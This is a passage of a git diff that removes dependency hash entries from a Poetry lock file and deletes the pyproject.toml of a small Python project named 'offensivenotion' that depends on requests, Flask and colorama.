"MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-win32.whl", hash = "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28"}, - {file = "MarkupSafe-2.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-win32.whl", hash = "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d"}, - {file = "MarkupSafe-2.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-win32.whl", hash = "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415"}, - {file = "MarkupSafe-2.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-win32.whl", hash = "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64"}, - {file = "MarkupSafe-2.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_i686.whl", hash = "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_i686.whl", hash = "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-win32.whl", hash = "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74"}, - {file = "MarkupSafe-2.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8"}, - {file = "MarkupSafe-2.0.1.tar.gz", hash = "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a"}, -] -requests = [ - {file = "requests-2.27.1-py2.py3-none-any.whl", hash = "sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d"}, - {file = "requests-2.27.1.tar.gz", hash = "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61"}, -] -urllib3 = [ - {file = "urllib3-1.26.8-py2.py3-none-any.whl", hash = "sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed"}, - {file = "urllib3-1.26.8.tar.gz", hash = "sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c"}, -] -werkzeug = [ - {file = "Werkzeug-2.0.2-py3-none-any.whl", hash = "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f"}, - {file = "Werkzeug-2.0.2.tar.gz", hash = "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a"}, -] diff --git a/pyproject.toml b/pyproject.toml deleted file mode 100755 index 728e5a4..0000000 --- a/pyproject.toml +++ /dev/null @@ -1,17 +0,0 @@ -[tool.poetry] -name = "offensivenotion" -version = "0.1.0" -description = "" -authors = ["Your Name "] - -[tool.poetry.dependencies] -python = "^3.8" -colorama = "^0.4.4" -requests = "^2.27.1" -Flask = "^2.0.2" - -[tool.poetry.dev-dependencies] - -[build-system] -requires = ["poetry-core>=1.0.0"] -build-backend = "poetry.core.masonry.api"